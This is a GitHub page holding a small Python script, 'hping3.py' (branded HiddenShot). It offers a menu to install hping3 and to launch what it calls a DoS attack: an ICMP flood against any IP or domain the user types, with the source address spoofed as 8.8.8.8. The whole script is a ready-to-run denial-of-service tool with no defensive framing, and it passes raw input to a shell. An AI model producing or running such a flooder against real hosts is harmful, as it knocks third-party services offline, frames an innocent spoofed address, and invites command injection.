-
Notifications
You must be signed in to change notification settings - Fork 4
/
hping3.py
47 lines (38 loc) · 1.23 KB
/
hping3.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import subprocess
print ("""
\033[1;92m
___ ___ ________ ___ ________ ________ ________
|\ \|\ \|\ __ \|\ \|\ ___ \|\ ____\\\\_____ \
\ \ \\\\\ \ \ \|\ \ \ \ \ \\\\ \ \ \ \___\|____|\ /_
\ \ __ \ \ ____\ \ \ \ \\\\ \ \ \ \ ___ \|\ \
\ \ \ \ \ \ \___|\ \ \ \ \\\\ \ \ \ \|\ \ __\_\ \
\ \__\ \__\ \__\ \ \__\ \__\\\\ \__\ \_______\\\\_______\\
\|__|\|__|\|__| \|__|\|__| \|__|\|_______\|_______|
\033[1;m
""")
mg= ("HiddenShot")
long= len(mg) + 8
print('\033[1;91m'"#"+ long * '-' + "#"'\033[1;91m')
print("|"+ long*' '+"|")
print("|"+4*' '+mg+4*' '+"|")
print("|"+ long * ' ' + "|")
print("#"+ long * '-' + "#")
while(True):
print("""
\033[1;94m
1- Install hping3
2- Launch DoS attack whit hping3
3- Exit
\033[1;m
""")
op=input("\033[1;91m> \033[1;m")
if op=='1':
subprocess.call('sudo apt-get install hping3 -y', shell=True)
elif op=='2':
ip= input('\033[1;91mGive me a ip or domain: \033[1;m')
ping= ('hping3 --icmp -a \'8.8.8.8\' -e \'fsociety\' --flood ')
subprocess.call(ping + ip, shell=True)
elif op=='3':
break
else:
print("\033[1;93mError!\033[1;m")